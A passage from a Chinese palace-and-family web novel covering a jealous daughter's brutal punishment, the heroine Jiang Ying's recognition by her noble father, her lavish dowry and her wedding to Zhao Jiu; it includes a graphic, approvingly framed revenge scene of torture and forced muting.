永安侯一顿,生气道:“她又做了什么?!不是让她不要去招惹陆家和赵家吗!”
他无情地拂开刘氏的手,让其落了个空。
刘氏整个人愣在原地。
说实话,她也不知道姜宝瑜到底做了什么,但是,不管怎么样,那都是他们的女儿啊!
难道就这么放任她不管,然后眼睁睁地看着她出事吗?
“夫君……”刘氏哽咽一声,若是从前,永安侯早就将她拥入怀中,柔声安慰。
刘氏容貌娇美,又是上姓贵女,这些年为他生儿育女,没有功劳也有苦劳。
但现在,永安侯只要一想到姜宝瑜折腾出来的事情,就忍不住面露厌烦,连带着迁怒刘氏。
她早已不复年轻,断断续续的生病,使得皮肤逐渐暗沉松垮,身上的浓重药味也让人难以忍受,更别说姜宝瑜做的那些事情!
桩桩件件,简直又蠢又毒!
败坏家风,有辱门楣!
“原本还想她同天水姜氏嫡女交好,能给家里带来助益,结果呢?又把人给得罪了!”永安侯火冒三丈道。
“早知如此,当初还不如不要回来!阿池哪一点比不上她?”
刘氏心口钝痛,阿池是好,但再好也不是亲生的!阿宝才是他们的女儿,那是她身上掉下来的一块肉啊!
“要不是她耍心眼,使手段,我现在已经是赵咎的岳父了!”
永安侯越想越生气,胸口不断起伏。
要是知道赵咎对他这个养女有意,他根本不会默许让姜璎替姜宝瑜嫁到将军府!
事后让刘氏给姜璎准备嫁妆,好好弥补,她也不听。母女俩蠢笨如猪,非要一而再再而三地跟姜璎过不去!
这下好了,不仅得罪了卫国公府,还得罪了陆家!
士族高门向来同气连枝,陆宣甚至不用刻意刁难他,只要流露一点态度,就能让许多人蜂拥而至,对他落井下石!
“你到底知不知道我这些日子有多辛苦!”永安侯低吼道,他为了永安侯府的将来,为了儿子的世子之位,想方设法和姜昀搭上关系,就是希望能获得一个举荐的机会。
陆宣戏耍他,玩弄他,让他以为还有回旋余地,满怀希望时,又当着众人的面嬉笑嘲弄,令他颜面尽失、下不来台!
那个时候,永安侯生吃了姜宝瑜的心都有了!
如果不是她,如果不是她——
“阿爹!”姜承祁冲了进来,神情惊慌,“不好了,赵咎、赵咎去请陛下赐婚。”
永安侯猛然回头,心中生出一股不详的预感。
刘氏茫然不解道:“他不是已经求来赐婚,怎么又要……”
“是阿宝!”姜承祁急得差点话都说不利索,“她被赵咎直接……”
“他难道还想姐妹二人共事一夫不成?!”刘氏惊声道,赵咎当她的女儿是什么?玩物吗!恨的时候下死手,毁去一个女子最重要的容貌,如今又要夺走她的清白!
“你给我住口!”永安侯骂了一句,姜璎当初就算是养女,那也还有性情温顺,容色倾城的优点,姜宝瑜呢?现在整个盛京谁还不知道她手段阴毒?
刘氏当赵咎是收破烂的,什么人都能看上!
就算永安侯一门心思谋前程,也不敢妄想姜宝瑜能高嫁士族郎君。
更别说那人是赵咎!
“阿娘……”姜承祁涩声道,“他让人把阿宝送到了将军府,陛下直接给姜宝瑜和常无忌赐婚了。”
什么?
刘氏眼前一黑,差点晕厥过去。
“阿娘!”姜承祁连忙扶住母亲。
“祁儿,你快去把你妹妹救出来……”刘氏满脸泪水,悲痛万分,赵咎!他怎么能如此随心所欲,肆意妄为?!
她看向永安侯,“夫君!你难道就这么眼睁睁看着我们的女儿,任人折辱糟蹋不成?”
永安侯阴沉着脸,没有说话。
姜承祁面色踌躇,叹了口气,“阿娘,其实阿宝这个样子,也没有郎君愿意娶她了,常无忌虽然落下残疾,可他对阿宝痴心一……”
啪!
刘氏狠狠甩了儿子一记耳光。
“刘氏!”永安侯勃然大怒,这个无知蠢妇,竟然为了女儿打儿子!
“阿娘?”姜承祁声音颤抖,似不敢相信。
他这么不计前嫌地替姜宝瑜考虑,还不是看在她是他亲妹妹的份上!
他哪里说错了?
姜宝瑜毁了容,又声名狼藉,别说在盛京寻亲事,就是嫁到外地,都得备上厚厚嫁妆,这跟倒贴有什么两样?!
与其倒贴寒门子,那还不如嫁给常无忌,至少常无忌是真心喜欢她的!
刘氏含泪道:“那是你妹妹!就算嫁不出去了,我也会养她一辈子!”
常家?
那根本就是个魔窟!
常母面慈心狠,不知道处理了多少庶子庶女,常无忌作为她仅剩的嫡子,被看得跟眼珠子一样,阿宝要是嫁到常家,除了受苦还是受苦!
“不行,我得去把阿宝带回来。”刘氏喃喃道,大不了,大不了她陪阿宝住在庄子上一辈子!
“阿娘!”
“你给我站住!”
父子俩不约而同出声。
永安侯沉着脸,冷哼道:“她自己不安分,非要招惹常六,如今也算是罪有应得。你不许去!就当我们没有这个女儿!”
不,应该说,他们的亲生女儿早就死了。
现在的这个,只是假冒的!
刘氏如雷轰顶,脸色惨白的看着永安侯。
“夫君,你怎么能……”
这么无情?
永安侯烦不胜烦,懒得再看刘氏哭哭啼啼,撂下一句话。
“你要是出去丢人现眼,别怪我直接休妻!”
第125章 毒哑
姜宝瑜没有等来母亲。
她的十指被碾断,甲片硬生生剥落,血肉模糊,惨叫连连。
这个时候,她多希望刘氏能够出现。
可是没有。
“不要磨蹭!”归南低斥一声,两个仆从,一人捆起姜宝瑜的双手,另一人则掐住姜宝瑜的嘴,动作粗暴地把浓浓的药汁灌进她嘴里。
烧灼感刺激着喉腔,紧接着便是火辣辣的疼痛,疼得人眼泪直流、浑身打颤。
“啊、啊——!”
嘶哑的叫声,从口中发出。
她先是一愣,然后崩溃大吼,胸腔所有的怨气、怒火、悲恨,都从喉咙滚出。
药效开始发作。
像是摁下了什么开关,凄厉的惨叫被中止在喉腔,不管是多么强烈的情绪,在这一刻,统统变成嘶嘶的气流声。
姜宝瑜彻底哑了。
她的咆哮、尖叫、嘶吼,任何发泄声,都化为乌有。
赵咎……
他好狠的心!好毒的手段!
姜宝瑜又哭又笑,脸上鲜血淋漓,十指血肉模糊,这些都不用再给她嘴里塞上粗布。
“九郎原本是想直接割了你的舌头,谁让你总爱搬弄口舌是非,装得楚楚可怜?”
归南笑了一下,耸了耸肩道:“不过,男人总是善变的嘛。九郎想起姑娘被塞进花轿那日,你们永安侯府给她灌的那碗药,他就立马改变主意了。”
姜璎受过的苦楚委屈,哪怕一分一毫,赵咎都记在心里。
姜宝瑜逃不掉,常无忌更逃不掉。
他们背后的家族,也要付出作为帮凶的后果。
“呃啊……”开口就是嘶哑的气流声。
归南怜悯地看了一眼地上的姜宝瑜,从今往后,她再也说不出一个字。
从毁容的那一天,姜宝瑜就应该想到赵咎不是好惹的角色,可她偏偏不信邪,不甘心,她要和姜璎过不去,那赵咎只能和她过不去了。
归南被自己的想象给逗乐了。
说的好像姜宝瑜毁了容以后老老实实,赵咎就会放过她一样。
怎么可能!
九郎只是看着光风霁月,实际上阴损的不行,要不然怎么能跟陛下还有邢医官玩到一块?
“这也算拨乱反正了吧?”归南嘀咕道,“反正你本来就是要嫁给常六郎的。”
不!
她不能嫁给常无忌!
姜宝瑜猛然抬头,死死地盯着归南。
“看我做什么?你不会还想嫁给我吧?”归南摇了摇头道,“那可不行,我可不想被九郎打断腿。”
仆从们笑起来,揶揄道:“这好歹也是士族贵女,你小子还嫌弃。”
“就是,虽然毁容,虽然断指,虽然哑巴,咳,但怎么说都是永安侯的亲生女儿。”
“永安侯?就他那趋利避害的性子,只怕马上就要澄清地上这个是冒牌货。”
归南哼笑道:“幸而我们九郎好人做到底,已经向陛下要来了赐婚手书。行了,一会儿把人直接送将军府,别磨蹭!”
事情已经到了这一步,永安侯怎么可能还愿意跟将军府结亲?
一个毁容且声名狼藉的女儿,嫁到谁家都等于跟谁家结仇!
就算永安侯府和将军府因为之前替嫁一事有了龃龉,永安侯也不想多一个仇家。
干脆直接断绝父女关系!
就像——
他们当初准备对姜璎做的事情一样。
姜宝瑜忽然疯了一样尖叫。
她整个人滚趴在地,就像一条拔了毒牙、打断脊骨的蛇,只能发出嘶哑的气流声。
阿娘!
为什么不来救她?
为什么?
不是口口声声爱她、甘愿为她付出一切吗?!
扭曲而癫狂的面容,因为狰狞伤口破裂,再度渗出血水。
姜宝瑜闭上了眼睛,满是恨意的心脏,终于生出一丝后悔。
姜璎没有死,甚至都没有受伤。
她做的一切不仅全成了无用功,还把自己也栽进去了。
多可笑啊。
她竟然再一次的,被父母抛弃了……
伴随着胸腔颤动,姜宝瑜吃吃地笑起来。
喉咙发不出声音,但疼痛却一点儿也没减少。
她被捆得严严实实,塞进了车厢后面的暗格。
随着颠簸不断,碰撞疼痛,一路送往将军府。
归南办完了事,乐颠颠地回去复命,这接下来是不是就等着喝喜酒了?
“那我得坐主桌啊!”刑如风扒拉着赵咎,据理力争道,“我可是你和姜小娘子的媒人!没有我,你俩能进展得这么快吗?”
“我不管我不管!你要不给我单开一桌!”
“去去去!”明惠帝嫌弃道,“我才是媒人!”要不是他的赐婚诏书,他俩能成亲吗?
刑如风争不过明惠帝,退而求其次道:“那我是姜璎的救命恩人!我要坐主桌!”
明惠帝立马道:“阿劫!我也要坐主桌!”
赵咎正低头翻看卷案,随手扒了个橘子,塞到刑如风嘴里。
这叫手动闭嘴。
刑如风:“……呜呜呜!”
又欺负他一个!
赵咎瞥了眼明惠帝。
大外甥:“我会自己找座位的,你放心。”
这叫杀鸡儆猴。
“九郎。”归南目睹一切,老老实实过来复命,“事情都已经办妥了。”
赵咎“嗯”了一声,合上卷宗。
赵哲已经安置好了恩师之女,这一次,卫国公府没有大乱,背后的人自然而然也没有了把“罪证”放到赵哲书房的机会。
但赵咎并未掉以轻心。
萧止柔一个人不可能毁掉整个卫国公府,她连对王氏下手,都是筹谋多年,鼓动王二夫人母女,一点一点给王氏下毒。
除了她以外,肯定还有其他人想要置赵家于死地。
“陛下。”
赵咎忽然出声,吓得明惠帝手里的茶盏抖了一下。
“真的不能给叶庸翻案吗?”
叶庸叶大人,曾经的中书侍郎。
赵哲的恩师。
因为参与了吴王谋反的案子,全家八十九口人,十二岁以上全部处死,十二岁以下则流放边疆。
吴王是先帝同父异母的弟弟,赵哲也是后面成了中书侍郎,才动用手中权力,把叶庸的小女儿偷偷救回盛京。
至于为什么是小女儿。
边疆苦寒,叶庸的儿孙尽数受折磨而死,仅剩的小女儿,还是因为几个姐姐献身将士,才保全下来。
“不能。”
提到叶庸,明惠帝脸上的玩笑顿时消失殆尽。
他皱了皱眉,“阿劫,这件事不要再提了。阿父下的命令,不论是对是错,都让他过去吧。”
先帝已死,明惠帝总不能为了外人打自己亲爹的脸。
更何况,给叶庸翻案,牵扯的可不是一家两家这么简单的事儿。
赵咎道:“翻案不翻案,都要牵扯无辜的人。陛下难道就不怕先帝错判,背负冤杀罪孽?”
明惠帝:“……”
有点烦。
那毕竟是他亲爹啊。
虽然死了。
但死人的脸面难道就不重要了吗?
“叶家枉死八十八口人。”赵咎幽幽提醒,“你好好想想,想好了告诉我,别耽误我成亲。”
明惠帝:“……”
烦人精!
到底谁是舅舅谁是外甥啊!
第126章 吾女
嘀嗒——
雨滴从屋檐滚落。
从京郊回来以后,盛京一连下了十数日的雨,到了夜里,哗哗的流水声便愈发清晰,庭院中的青石板没有一日是干的,墙角冒出青苔,又被下人们清理干净。
“姑娘。”
香薷端着一盏玫瑰清露进来,见姜璎手边摆着一堆算筹,就知道她又在看账册。
萧止柔疼爱外甥女,自然不愿意把孩子娇溺成事事都要让人操心的性子。
管家算账乃是女子立身之根本,虽说姜璎嫁过去不用管家,但自己院里那一亩三分地总得收拾明明白白。
香薷放下茶盏,走到姜璎身后,轻轻揉了揉她有些僵硬的肩膀,“姑娘,都看了一天了,歇歇吧。”
“把这点理完就好了。”姜璎头也不抬,被喂了一口玫瑰清露,忍不住皱了皱眉,她还是更喜欢清茶。
香附见状,立马换了清茶过来,给姜璎漱口。
外头淅淅沥沥雨声不断,将青竹冲刷得愈发葱茏,古韵雅致的琴声在雨幕之中缓缓流淌。
姜璎抬起头,“谁在抚琴?”
说完就忍不住拍了拍额头,还能有谁,陆宣和萧止柔对声乐都并没有多大兴趣,反而是姜昀,喜好清谈的美名已经传至盛京。
不少文人学子闻名而来。
毕竟在这个门第为上的时代,别说商贾农户,就是普通的寒门子弟,想要入仕都跟登天一样,而攀附士族成为其门生或门客,已经成了时下寒门子弟入仕最常见的捷径。
就拿前朝第一高门汝南袁氏为例,那时的袁氏可谓是名声赫赫,门客无数。
到了大魏,因为太祖皇帝手段残暴,士族高门避其锋芒,低调了十多年,但皇帝管天管地可管不了名士。
姜昀自弱冠起,便是公认的名士,不论出身门第,还是风度言行,都让他备受追捧。这也是为什么他甫一入仕,就获得了秦州刺史的官职。
姜昀准备等女儿出嫁以后再回秦州赴任,左右不急一时,他花重金买下陆家隔壁的宅院,房屋地契交到了萧止柔手中,自己则两袖清风地在陆家住下。
今日的琴声,便是前院传来。
不多时,又有笛音、琵琶声响起。
争先恐后地表现。
“外头这么大的雨,也阻挡不了那些读书人攀高门的心。”香附哼了一声。
陆家和刚换上牌匾的姜家不过一墙之隔,又同在一条巷子,那些寒门学子听见琴音,立马想办法取来擅长的乐器,想要投其所好,吸引姜昀的注意。
姜璎整理好最后一点账册,终于松了口气。
香薷轻柔地按着她的太阳穴,向氏提着个螺钿红漆食盒进来,“姑娘,吃碗馄饨吧。”
瓷盏取出,可见里头盛着颗颗分明的馄饨,中间馅肉饱满,外皮晶莹剔透、徐徐展开,在清澈见底的汤料中,宛若朵朵白莲,青葱丝的点缀恰到好处,令人胃口大增。
向氏目光慈爱地看着姜璎,絮絮叨叨说着:“大郎君在跟二娘子商量让姑娘认祖归宗一事,要是可以的话,最好能在成亲之前回一趟天水姜氏……”
香薷和香附对视一眼,这回去了还能回来吗?
他们九郎可就这一个媳妇。
好在姜璎对认祖归宗并没有多大兴趣,用完点心,慢声道:“爹爹不是说了吗,我的名字并未在族谱除名。日后有机会回去一趟就是了,不必兴师动众。”
从京郊回来以后,姜璎就发现萧止柔对姜昀态度有所好转,虽然算不上亲近,但也不至于冷脸相待。
父女相认就这样水到渠成。
姜璎偶尔也会回想起一些儿时的记忆碎片,虽然看不清人脸,但除了父亲以外,恐怕不会有人举高高哄她高兴,也不会有人将她放在怀里,手把手教握笔写字。
在妻女面前,姜昀就是个再普通不过的丈夫、父亲。
他会为了哄妻子开心,而在雪夜躲在窗下轻敲窗牖,等妻子配合开窗,再抱着一怀的红梅闯入眼底。
“花花!”阿石声音软乎乎,在奶娘怀里拍着小手,咯咯笑。
“发明是花花公子。”萧晞哼笑一声,还是让他进屋了,一家三口睡在一张大床。
阿石正是好动的年纪,在父母身边爬来爬去,最后爬到父亲胸口,累得呼出一口气,像小乌龟一样伸展四肢,趴着不动了。
“阿石怎么就压爹爹,是不是更喜欢爹爹一些?”姜昀得意洋洋,转头跟妻子炫耀,“阿蘅,你看阿石,我就说女儿肖父!”
阿石也不管听没听懂,就乐颠颠地答应,大声道:“嗯!”
父女俩一齐傻笑。
萧晞没忍住也笑了,她搂着女儿,亲了亲她软嫩的脸蛋,“阿娘的乖宝宝,不要玩了,快睡觉。”
她瞪姜昀一眼,“你俩再不睡,就抱着枕头去外间。”
姜昀立马手动把女儿眼睛合上,“睡睡睡,不闹了。”
……
如果萧晞没死的话,姜璎绝不至于落入贼手,也不会因为流浪而消磨记忆,一步一步,被永安侯府驯养成毫无灵魂的玩意儿。
姜璎回过神来,想起王老夫人的寿宴就在九月底,还好百寿图已经完成得差不多。
接下来,她只要专心绣好盖头。
至于嫁衣,这个大工程就交给府里的绣娘了。
十多个绣娘齐齐赶工,缂丝、刺绣,图案精美绝伦。
随着日子一天天过去,天水姜氏的族人带着嫁妆一并赶来。
成亲的前几日,姜昀在外清谈,饮酒作乐,“不慎”说出自己还有一个嫡长女,幼年丢失,好不容易找回,竟就要嫁人。
席间永安侯也在,好不容易找到个机会,想要与姜昀攀谈。
就见姜使君淡淡一笑,酒盏指向永安侯。
“爱女单名一个璎字,乃吾妻留下的唯一骨肉,话说回来,可真是承蒙永安侯府多年照顾,才不至于我们父女天人永隔。”
谁?
姜璎?
永安侯愣在原地,半天没反应过来。
倒是其他人,惊叹不已。
“这么说来,难怪卫国公待明昭颇为热情,原来是亲家!”
有人想到陆家的梁女君,一时七拐八拐,再联想姜璎身世,顿时深吸一口气。
当下连连吹捧道:“姜使君的掌上明珠,与赵九郎可谓是郎才女貌,天作之合啊。”
姜昀朗朗一笑,目光瞥向僵立原地的永安侯,心下冷哼一声。
虐待他女儿的账,他还没跟他算呢!
第127章 陪嫁
回府已近天黑。
姜家没有女主人,姜昀干脆做了甩手掌柜,把族人带来的嫁妆一股脑都扔给了萧止柔。
等嫁妆单子梳理得差不多,也恰好到了送嫁妆的这一日。
颍川赵氏的族人们已经提早一个月动身出发赶往盛京,目的就是为了见证这场热闹非凡的昏礼。
姜昀虽然不愿意女儿嫁到赵家,但事情既已成定局,他也没什么好说的,与其跟赵咎过不去,还不如多花些心思让女儿的日子舒坦一些。
他大手一挥,派了几百名工匠到赵家,把蓼莪院重新翻整了一遍。从地皮上的每一块青砖,到房瓦窗格,方方面面都进行大改造,就差明说看不上赵家。
短短半月,蓼莪院焕然一新。
赵哲过来看了一眼,回去就跟郑氏说:“我们阿劫这是吃上软饭了!”
郑氏不明所以,“什么意思?”
姜璎是天水姜氏的嫡长女的消息早就已经传遍盛京,不管别人心里是怎么想的,郑氏是真真切切为她感到高兴,这孩子也算是苦尽甘来了。
如今见天水姜氏如此重视这场昏礼,她反而松了口气,日后看谁还敢拿姜璎的出身说三道四!
赵哲意味深长道:“你去看过就知道了。天水姜氏的工匠,就差把咱们家的地皮都铲得一干二净,新种上的花草,随便一株都要几百贯上千贯,这还不算每年保养换新的费用。”
还有房瓦、窗格、地砖,寻常人家的房瓦窗格,几十年下来都难得更换一次,东西只要没坏,谁会多花钱去换新的?
“咱们院子里的窗格,是春夏秋冬各一套,蓼莪院就不一样了,如今八月里,用的是桂花窗格,与院子里新栽的桂花恰好应景。”
郑氏大吃一惊,“一年十二月,难道月月都换?”
赵哲哼笑一声,“窗格倒是不费几个钱。”倒是天水姜氏这份精细,可见其底蕴深厚,把近千年的风流富贵展现了个淋漓尽致。
人家连地上的鹅卵石都是有讲究的,每隔几步便是一个吉祥图案。
谁见了不夸一句雅致?
“按照惯例,我们兄弟几个成亲,聘礼由公中出一份,然后就是阿娘留下的嫁妆,阿姐占大头,剩下四个兄弟分。”
赵哲笑道:“你看着吧,姜昀来了这一出,阿爹就算再不情愿,也得动用私产了。要不真让阿劫落得个吃软饭的名声,他老脸也别想要了!”
姜昀就这么一个宝贝女儿,自然是有什么给什么。
陪嫁队伍堪称长龙,引得无数百姓围观。虽然赵家人都已经做好准备,但真正见到姜璎陪嫁的时候,还是忍不住叹为观止。
别说赵家兄弟,就是卫国公这样的岁数阅历,也是第一次见识到如此多的稀世珍宝。
卫国公感叹之余,倒也不奇怪。
姜璎的生母可是前朝的广陵公主,梁帝夫妻的独生女儿。梁帝把所有的一切都给了萧晞,前梁皇室的珍藏在当时可谓是一扫而空,没让高家占到半分便宜。
萧晞出嫁低调,但嫁妆可不低调,她母亲袁皇后,乃是汝南袁氏嫡长女,留给她的不是一点半点。
如今姜璎成亲,可以说是直接继承了四个人的嫁妆。
萧晞,萧止柔,祖母襄阳公主,外祖母袁皇后。
加上天水姜氏的深厚底蕴,真要算起来,就算是公主出嫁,也不一定能有姜璎这样的陪嫁!
当天水姜氏的管家读到嫁妆单子上的最后一样东西,整个赵家都轰动了!
赵氏族老们瞪大双眼,一下子站了起来。
陪嫁里,有足足两千本书籍!
“我家老爷说了,古玩珍宝什么的都是死物,倒是我们家姑娘,从小爱看书,如今出嫁,也没什么好陪嫁的,干脆拿些姑娘喜欢的东西。”姜管家笑眯眯地说。
实则心里在滴血。
天水姜氏历代人才辈出,底蕴深厚,可饶是如此,让姜家族老知道姜昀一口气拿出两千本书籍,其中两百本还是先祖亲自抄誊的孤本手抄本,给姜璎作陪嫁,还是忍不住破口大骂败家子!
说好的让小石头招婿,结果他娘的招到盛京去了!
姜昀好说歹说才让几个老头子收了拐杖,把人送回去歇息以后,还要被萧止柔不冷不热嘲讽。
“姐夫真是心胸开阔,连赵堰的儿子,都能当郎子。”
郎子,即为女婿。
姜昀淡淡道:“不过一个男人,又有何大不了?吾女,人可尽夫。”
对姜昀来说,女儿嫁给赵咎,还真算不上什么大事。
他原本准备让姜璎招婿,虽然现在看来没什么希望,但将来的事儿,谁又能说得定?
萧止柔轻哼一声,三日后就是成亲的吉日,她还有很多事要安排。
不喜欢赵咎是一回事,但她的外甥女出嫁,务必要办得风风光光!
“姑娘,时辰不早了,该歇息了。”向氏柔声道,马上就要成亲,作为新娘子,姜璎可不能太过操劳。
“这点绣完就好了。”姜璎道,稍微活动了一下脖子。
姜家关于昏礼自有一套流程,管家把一切都打点得妥妥帖帖,她只需要绣个盖头就好,原本向氏还劝说家中绣娘多的是,但姜璎执意自己动手,也就由着她了。
到了昏礼当日,姜陆两家可谓门庭若市,几乎大魏所有高官都来了,还有不少自外地赶来的名士大家,两家的好友姻亲,一时热闹非凡,笑语不断。
昏礼是在晚上,姜璎用过朝食,在向氏等人的伺候下沐浴更衣。
仆婢们有的给姜璎梳头,有的给姜璎上妆,忙活起来便是好几个时辰,等换上嫁衣礼服,便不好再进食。
此时客人都已经来齐。
萧止柔作为姜璎身边最亲近的女性长辈,自然而然承担起接待女客的责任,同贵夫人们说笑。
顾鹤鸣等未出阁的小娘子则围在姜璎身边。
姜珞气鼓鼓,一双漂亮的猫眼虎视眈眈地看着顾鹤鸣,她昨晚上缠了姐姐许久,姐姐也没有答应让她作陪嫁!
凭什么顾鹤鸣一来,姐姐就对她笑?
“姑娘!迎亲队伍来了!”香附笑嘻嘻地进来禀报。
第128章 出嫁
“来得正好!”顾鹤鸣这些小娘子早就等不及了,她们今日非得让赵咎过五关、斩六将,才能抱得美人归!
姜璎咳了一声道:“也不用太为难人……”
“喔~”
话没说完,就遭到了大家的打趣。
其中一个贵女道:“阿池,你这样可不行啊!都还没嫁人,就开始心疼夫君啦?”
“说明赵九郎有本事,把我们阿池的心攥得死死的!”
顾鹤鸣笑眯眯道:“那可不嘛?你们一会儿千万掂量着来啊,别把我姊夫欺负太狠,要不然,我阿姊可是要心疼坏的。”
接二连三的扑哧笑声响起。
向氏“诶”了一声,“几位娘子快别说了,再说下去,新娘子都不用上胭脂了!”
众人齐齐望向姜璎,只见她眉眼如画,雪腮泛红,日光透过窗牖,令她整个人仿佛散发着一种柔光,美得让人屏息。
“其实……不用上胭脂也行。”
不知道是谁说了这么一句,其他人也跟着怔怔点头。
直到外头的欢声笑语惊动绣阁,大家方才如梦初醒,一个个默不作声地红了脸。
心中暗道:难怪赵咎要当街抢亲!之前还笑他似莽夫,如今看来,人家明明聪明得很!知道先下手为强!
话又说回来,这永安侯府竟都是些蠢货不成?
这么一颗稀世明珠落在他家,都能当作鱼目而使其蒙尘。
他们但凡对姜璎好点儿,也不至于落到今日这个地步。
明惠帝一纸诏书,直接把姜宝瑜赐给常无忌,却并未说是为妻还是为妾。
旁人不知道姜宝瑜如今的近况,但她被送入将军府的事实,已经闹到人尽皆知。
当初的抢亲令赵咎深陷口舌风波,将军府和永安侯府轮番上阵扮演红脸白脸,想要施加压力。
但事实上,谁看不出来这其中的猫腻?
好端端的亲事换了个人,还要口口声声养女心机。
要不是卫国公府强势,只怕姜璎还要被他们害惨!
好在守得云开见月明,姜昀特意赶来为女儿撑腰。
永安侯府是硬生生错过了飞黄腾达的大好机会,就算现在与姜宝瑜划清界限,断绝关系,也没人真的当回事,只心里越发鄙夷!
听说上次宴席之后,永安侯失魂落魄地回府,在半路上栽进了沟渠,差点整个人活活溺死。
直到现在都还缠绵病榻。
就连前两日姜承祁成亲,他这个做父亲的都不曾出面。
姜承祁和张琼华的昏礼甚至没有多少人参加,和今日的盛大隆重,可以说是一个天上一个地下。
至于将军府,在知道姜璎是天水姜氏嫡长女后,连个屁都不敢放了,只能憋捏着鼻子认下来。
至于姜宝瑜是死是活。
左右永安侯府都不在意了,他们还有什么可顾忌的?
众人唏嘘之后,很快把不相干的人和事抛之脑后。
外院正是最热闹的时候。
男宾那边,姜昀不舍女儿嫁人,自然对来接亲的赵咎没什么好脸色,直接亲自上阵站在门口守门,陆宣在妻子的授意下,也准备给赵咎点颜色瞧瞧。
另有姜陆两家的名士好友,风度翩翩往门口一站,满腹经纶、出口成章,别说赵咎本人了,就是赵咨赵哲兄弟二人都忍不住冷汗直流、压力山大。
幸好赵咎自幼刻苦读书,无一日懈怠,面对提问基本上都能对答如流,要不然真要丢脸丢大发了!
姜昀冷哼一声,勉勉强强算他过关。
陆宣摇头叹息,还好他没女儿,要不然光送嫁都要哭上好几天。
好不容易过了男宾这一关,在拥簇下来了内院。
赵咎这口气还没松下来,就听见里头传来一片清脆笑声。
姜璎坐在新房里,顾鹤鸣等一众小娘子则走到外间,打发了仆婢过去传话。
隔着一道上了锁的内院大门,赵咎等人清清楚楚听着下人传达女孩子们的要求。
从诗词歌赋,到算经老子,一人一个考题,就够迎亲队伍喝上一壶!
赵咎连同刑如风等人为个答案费尽心思。
女孩儿们咯咯直笑。
“看来赵九郎今日不能抱得美人归啦。”
刑如风灵机一动,“哎呀!都忘记给娘子们红包了!”
院子里安静一瞬,随
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即笑声一片。
赵咎等人赶忙把金锞子装进荷包,装了二十来个,在下人的帮忙下送到屋里。
脑子不够,金子来凑!
顾鹤鸣捂着肚子笑得眼泪花都出来了,边上的贵女们也乐不可支。
向氏提醒道:“娘子们可别误了吉时。”
“罢罢罢,那就放他们一马!”
有了放水,考题减半,总算是过五关斩六将进了内院。
赵咎被这一折腾,恨不得抱了姜璎直接就走,大家一个个笑弯了腰,最后还是长辈们出现,稳住了局面。
萧止柔一眨不眨地看着姜璎,像是透过她的眉眼,与阿姊、阿父重见。
“姨母。”姜璎轻轻唤了一声。
萧止柔蓦地撇过脸,用帕子拭去眼角滑落的泪珠,她紧紧握着外甥女的手,声线颤抖:“你想要的,姨母都会满足你,连带着你阿娘的那一份……阿池,只要你如意康乐,姨母别无所求。”
“姨母放心,我绝不辜负阿池。”赵咎保证道。
萧止柔看也没看他。
姜璎轻声道:“我知道的,阿娘不在,姨母就是我的母亲。”
萧止柔眼眶泛红,想说什么,又忍住了,在身边人的劝慰下止住泪水,把姜璎交到了赵咎手里。
阿姊,我险些害了阿石。
又阴差阳错下找回了她。
她是你的孩子,我们萧家的骨血,我就是死,都不会再让任何人伤害她。
赵咎领着姜璎,拜过高堂,姜昀已然红了眼眶,他身边是萧晞的牌位。
“爹爹。”
“才找回来,就要嫁人了。”姜昀语气温和,但眼中隐隐含着泪光。
姜璎鼻尖蓦然一酸,低着头,轻轻道:“女儿不孝。”
姜昀哪里听得了这话,“不说这个……”
这是他的掌中珠,心肝肉,别说没有犯错,就是犯了错,那也一定是别人带坏了自家孩子。
他的女儿,千般好、万般好,自是独一无二。
“吉时已至,新娘子出门——”
传唱声响起。
盖头落下,新娘子被搀扶着坐上喜车。
一路往卫国公府而去。
第129章 红烛
“总算是顺顺利利把人娶进门了!”
从一大早开始,郑氏脸上的笑容就没下去过,王氏身子重了,今日昏礼大大小小的事儿基本上都是她在操持,累是累了点,但架不住她高兴。
要不怎么说还是他们阿劫有眼光呢?
蒙尘明珠都能让他给发现!
“夫人,女君,迎亲队伍回来了!”下人喜气洋洋进来禀报。
新人回到赵家,先拜天地和列祖列宗,再拜高堂,最后夫妻对拜。
赵家的尊长,以及观礼的宾客不由纷纷点头。
“九郎有福气,一眼就相中了个最好的。”
“要我说啊,这明珠蒙尘,照样还是明珠!我们士族女郎骨子里的高贵是怎么都遮掩不住的!”
“看看多登对啊,就跟画里走出来的仙女儿似的!”
一水儿的吹捧夸赞。
归根结底,还是因为姜璎的出身。
她若是永安侯府养女,便是生得再好,仪态再得体,也照样有人挑刺。
要知道士庶不婚,乃是自古以来的规矩!永安侯府不过天水姜氏的旁系,若没个出息的,再过些年估计都要被踢出士族录。
但姜昀的嫡长女可就不一样了。
这样的出身,入主中宫都绰绰有余,更别说其他。
眼看着时辰差不多,赵咎和姜璎一同入新居。
厚厚的金铜钱撒满整个喜床,姜璎略带一丝紧张地坐在床沿,盖头在烛光下熠熠发光,鸾凤和鸣的图案栩栩如生,让人赞不绝口。
“新娘子手巧又用心!瞧这针脚,怕是连织女娘娘的云锦也比不过呢!真真是锦上添花,盖下藏娇!”
香薷送上一杆赤金如意纹喜秤,“九郎,该掀盖头了。”
赵咎喉咙滚了滚,一杆秤似有千钧重。
竟让他手心渗出细汗。
喜盖一角被轻轻揭开,众人不由自主屏息,只见烛光下,盛装打扮的少女微微抬眸,露出一张宛若皎皎明月的脸。
“阿池……”
赵咎看呆了。
女眷们对视一眼,忍着笑退了出去。
也该让新人好好休息了。
“怎么了?”姜璎被盯得一头雾水,下意识摸脸,“是不是妆花了?”
“很好看!”赵咎脱口而出,仆婢们忍不住笑,他心下懊恼,干巴巴地解释,“我的意思是,妆没花……”
明明滴酒未沾,但他却好像喝醉了一样。
脑子晕乎乎。
连话都说不利索。
香附忍着笑,“九郎,姑娘,该饮合卺酒了。”
姜璎担忧地看着赵咎,“你脸好红,是不是今日累着了?要请邢医官过……唔。”
赵咎一把捂住她的嘴。
四目相对,他有些恼羞成怒道:“我们的新婚夜,你让刑如风过来?”
姜璎眨了眨眼,这不是看他不太舒服吗?
身体最重要呀。
刑如风:“……”
我也是你们酱酱酿酿中的一环吗?
赵咎深呼吸,脸上红晕怎么都下不去,“喝合卺,你多喝点,少说话。”
姜璎:“……好吧。”
她接过合卺酒,低头抿了一口,顿时被辣得不行,小脸皱成一团。
赵咎都来不及阻止:“……”
香薷香附愕然失声:“……”
“哎呀,姑娘!合卺酒是要跟郎君共饮的呀!”向氏急忙道。
姜璎反应慢了一拍,“哦!我忘了……”
向氏絮絮叨叨道:“合卺酒,就是要夫妻共饮,以示永结同好之意……”
话未说完,赵咎忽然道:“你们先下去吧。”
向氏愣了一下。
